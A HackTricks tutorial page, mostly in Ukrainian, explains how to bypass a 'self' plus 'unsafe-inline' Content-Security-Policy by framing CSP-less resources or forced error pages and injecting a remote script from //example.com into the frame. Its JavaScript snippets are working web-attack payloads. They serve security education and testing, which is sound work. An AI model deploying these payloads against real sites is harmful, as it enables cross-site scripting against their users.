CSP bypass: self + 'unsafe-inline' with Iframes

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

A configuration such as:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

Забороняє використання будь-яких функцій, які виконують код, переданий як рядок. Наприклад: eval, setTimeout, setInterval будуть заблоковані через налаштування unsafe-eval

Будь-який вміст зовнішніх джерел також блокується, включаючи зображення, CSS, WebSockets та, особливо, JS

Через Текст та Зображення

Спостерігається, що сучасні браузери перетворюють зображення та тексти в HTML для покращення їх відображення (наприклад, встановлення фонів, центрування тощо). Внаслідок цього, якщо зображення або текстовий файл, такий як favicon.ico або robots.txt, відкривається через iframe, воно відображається як HTML. Зокрема, ці сторінки часто не мають заголовків CSP та можуть не містити X-Frame-Options, що дозволяє виконання довільного JavaScript з них:

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Через помилки

Аналогічно, відповіді про помилки, такі як текстові файли або зображення, зазвичай надходять без заголовків CSP та можуть пропустити X-Frame-Options. Помилки можуть бути спричинені для завантаження в межі iframe, що дозволяє виконувати наступні дії:

// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}

Після спрацювання будь-якої з вказаних ситуацій, виконання JavaScript у межах iframe можливо наступним чином:

script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated